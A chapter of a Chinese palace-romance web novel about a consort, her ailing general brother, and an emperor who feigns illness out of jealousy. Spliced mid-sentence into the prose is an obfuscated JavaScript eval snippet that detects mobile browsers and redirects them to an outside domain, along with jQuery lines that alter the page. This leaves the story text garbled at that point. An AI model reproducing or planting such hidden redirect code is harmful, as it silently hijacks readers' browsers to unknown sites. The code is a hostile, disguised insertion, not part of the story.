我虚伪的眼泪说流便流,脑里的思绪却异常清楚。
为何阿兄病重的消息无人通传,这宫内除了我和陆姐姐,好像无一人知晓。
是被皇上压下来了吗?
还是皇上突发疾病,他也未曾知晓呢?
李公公脸上刚松下几分,转身便朝我拱手:“宸妃娘娘,皇上刚醒还需人照看,劳烦您在殿里多费心了。”
这差事为何就落到我头上了?我心中毫不犹豫的选择拒绝。若我留下,宫外的阿兄怎么办呢?
我望着他满是托付的眼神,指尖不自觉绞紧了帕子,脸上露出难掩的恳切与为难:“李公公这可真是折煞臣妾了,实在担不起这份重任。”
“您是知道的,臣妾向来性子粗疏,记性又差得很,平日里连自己的簪子都时常找不到,哪懂什么照顾人的细致活儿?”
我轻轻叹了口气,语气里带着几分坦诚的无奈,“前日给皇上绣那平安符,针脚歪歪扭扭不说,还差点扎了自己的手。皇上龙体金贵,哪经得起这般疏忽?若是因臣妾照顾不周误了皇上休养,那臣妾可是万死难辞了。”
说着,我转头看向站在一旁的惠嫔,眼底满是真诚的推崇:“倒是惠嫔姐姐,向来心细如发,又最懂膳食调理。”
“姐姐上得厅堂下得厨房,待人更是温和体贴,宫人们谁不夸姐姐最会照顾人?”
“皇上如今龙体欠安,正需这般细心妥帖的人在旁照料。姐姐既懂汤药分寸,又知冷暖调理,由她伺候皇上,定能比臣妾周全百倍。”
“还请公公另请惠嫔姐姐担此重任,臣妾实在怕自己笨手笨脚,反倒添乱。”
推辞掉照料皇上的差事,我才切入重点,“皇上,您突发疾病晕厥了过去,可能还没有机会得知我阿兄今早吐血的消息。我念兄心切,劳烦您准我出宫,去探望我阿兄。”
虚弱的皇上躺在龙榻上,他神情萎靡,目光有几分呆滞,似乎没听见我刚才说的话。
“皇…..”我欲开口,想要更大声说一遍。
他却忽然转过头来,看着跪爬在他枕边的我。
黑曜石般的瞳仁深不见底,从未在他眼底出现过的情绪像烟花在黑夜里绚烂的爆炸开。
他与我对视,眼神粘着我“寸步不离”。
“如果朕现在也快要死了,你是要去找你阿兄,还是留在朕身边呢?”
我呼吸忽然一窒,心底泛起阵阵涟漪。
他的话听起来像是在问我,阿兄和他,我究竟会选谁?
皇上虚弱的声音虽然低小,却是一石惊起千层浪。
众人皆齐刷刷朝我看来,惠嫔一脸惊讶,之后便很快恢复平静,眼里失落的情绪难掩。
李公公则是淡淡的看了皇帝一眼之后又淡淡的看了我一眼,然后闭紧嘴巴,不敢再有多余的表情。
指尖轻轻攥紧袖角,垂眸掩去眼底波澜,我的声音稳得像浸过温水。
“皇上,您乃真龙之躯,真龙之躯自有天护,您会百病不侵入,永远健康长寿。”
看似没有回答,却是做了坚定的选择。
我抬眼看皇上,他神情漠然,看不出喜怒。
空旷的寝殿内,静得能听见烛火跳跃的微响,连针尖落地都仿佛能震起回声。
许久,皇上才从榻上发出一声虚弱的低问,气若游丝:“这次又要去多久?”
“臣妾……不知道。”
“若阿兄运气好能挺过来,臣妾想待他康复再回宫;若运气不好……”说着,我的眼底覆上一层厚重的阴霾,“大约也不会需要太久。”
我漫不经心回答皇上的问题,满心满脑想的都是我阿兄。
阿兄,你千万不能有事。
等等我,我这就回来了。
“你阿兄的情况越发严重紧急,我知道你现在很担忧你阿兄。”皇上气若游丝。
“你走吧。待朕病愈,也去看看你阿兄。”,
皇上平静的看着我,那眼神平静得我心里有些发悚。
我虽察觉到几分异常,却并未在意,一心沉寂在担忧阿兄的病情中。
“谢皇上恩典。”
我叩首谢恩后转身离去,步履匆匆,并未留意身后那道落在背上的目光,更未听见随后响起的碎裂声。
“砰!”
惠嫔本端着温水上前侍奉,怎料方才还在榻上奄奄一息的皇上,竟如回光返照般猛地坐起身,一把夺过她手中的茶盏,狠狠掼在地上。
青瓷碎裂的脆响在殿内炸开,滚烫的水渍溅在金砖上,迅速洇开一片深色。
胆小内向的惠嫔吓得魂飞魄散,本能地“噗通”跪下,身子抖得像风中残烛:“求皇上息怒……”
她实在不解,皇上方才还气息奄奄,为何骤然雷霆震怒?
脑中忽然闪过方才无意间听见的低语。
皇上问宸妃:若朕此刻也快死了,你是要去找你阿兄,还是留在朕身边?
莫非……
惠嫔斗胆抬眼偷瞥。
只见皇上已站起身,居高临下的身影如山峦般巍峨压人。
方才脸上的苍白颓败一扫而空,肤色竟透着健康的润色,下颌线绷得清利落索,连眼底的倦怠都化作了灼人的锐利。
一个大胆的念头如惊雷般在她脑中炸开。
皇上莫非在装病?而这个秘密竟就这样被她发现了。
这想法让她浑身发冷,哆嗦得更厉害了。而皇上投来的目光,冷得像淬了冰的刀锋,直直刺在她身上。
“皇……皇上……”她声音发颤,几乎不成调。
“今日之事,你胆敢泄露半分,”男人的声音低沉如寒潭,每个字都带着刺骨的威压,“朕让你死无葬身之地。”
“臣妾……臣妾绝不敢!”惠嫔死死叩首,额头抵着冰凉的地砖,连大气都不敢喘。
“退下吧。”
“是。”
惠嫔的身影刚消失在殿门外,皇上便负手走到龙案前,指尖重重按在冰凉的砚台上。
烛火在他身后明明灭灭,映得他侧脸的线条愈发冷硬。
“李公公。”他忽然开口,声音里听不出情绪,“是谁把于将军的消息漏给宸妃的?”
李公公连忙躬身:“回皇上,是陆尚宫。”
皇上眸色一沉,指节捏得发白:“这个女官真是没规矩了。”他冷哼一声,“司衣司那边知会一声。别让一个不懂规矩的女官坏了宫中风气。”
“奴才遵旨。”李公公领命。
“于
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16002473|178290||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
将军病危的事,”皇上语气重了几分,带着不容置疑的威严,“从今往后,不许再让任何人知晓。”
李公公连忙应下:“奴才明白,定不会再出纰漏。”
他望着殿外沉沉的暮色,心中情绪纷乱复杂。
于修的名字,在北境的风雪里淬过,在南疆的瘴烟里浸过,早已成了朝廷最锋利的剑、最坚实的盾。
可这样锋利的剑,对皇上来说无疑是一把双刃剑。
皇上欣赏他,更多的是忌惮他。
他镇守的城池,夜市永远亮到三更,商旅往来从无劫掠之忧;他经过的村庄,农户会捧着新米追出二里地,只为让将军尝口家乡的味道。
这样富有威望且手握重权的将军,哪个帝王不忌惮。若哪天于修起兵谋反,自己未必能有事成把握将他压住。
虽然忌惮,可少年时并肩作战的情谊并非作假,想起曾经一起读书学习的日子,那真是他为数不多的幸福时光。
若是于修病危的消息散布出去,必会引起朝堂动荡,若有外敌来侵,天下必乱。
内忧外患之际为了江山社稷的稳定,皇上只好将此消息压下,密而不发。
令他没想到的是,于府的管家竟找到陆尚宫将此消息泄露给了于敏。
为避免于敏朝自己兴师问罪,将事情闹大泄露了消息,他才特意装病一场。
“于敏出宫的消息一定要封锁好。”
“皇上放心,一切已安排妥当。”
一切事务处理完毕,皇上紧拧的眉毛才勘堪松懈片刻。
想到什么皇上忽然转过身,重新眉头紧锁:“还有一事,于将军为何会突然吐血病危?前几日的军报还说他身子近乎痊愈。”
李公公摇了摇头,声音放低:“这奴才不知。”
“奴才刚从宫外探来消息,只是说今早于将军起身洗漱时身子还好好的,在听下人汇报皇上您昨晚与宸妃娘娘圆房的好消息后……于将军不知何缘故便当场就吐血,晕了过去。”
处事圆滑,阅历丰富的李公公听闻这事,一下就想到了缘故。
他这般旁敲侧击,不知道皇上能不能转过弯来。
皇上把玩手中的玛瑙雕花扳指,思忖着于修和他宠幸宸妃究竟有何关系。
李公公在一旁补充道,“太医说,于将军是气急攻心加上旧伤未愈……”
皇上突然顿悟同时瞳孔骤缩。
少年时于敏黏着于修撒娇的模样、前晚于修为了妹妹公然忤逆一国之君的画面地在脑海里炸开。
一个荒唐的念头让他脊背发凉,他们兄妹……难道有私情?
可他立刻又否定了这想法。
于敏看他时眼里的爱慕那么真切,怎么会是假的?
若是假的,那她对自己说过的山盟海誓算什么?她为他流过的那些眼泪算什么?
她的爱,明明直白且热烈。
若是真的,为何他总是怀疑?
真的坐在火旁边,怎不回感受到火的温度?
他看向李公公,声音竟带了丝自己都未察觉的茫然:“李公公,你跟在朕身边最久……你说,于敏她,真的喜欢朕吗?”
烛火在他眼底跳动,映出几分连自己都不敢承认的脆弱。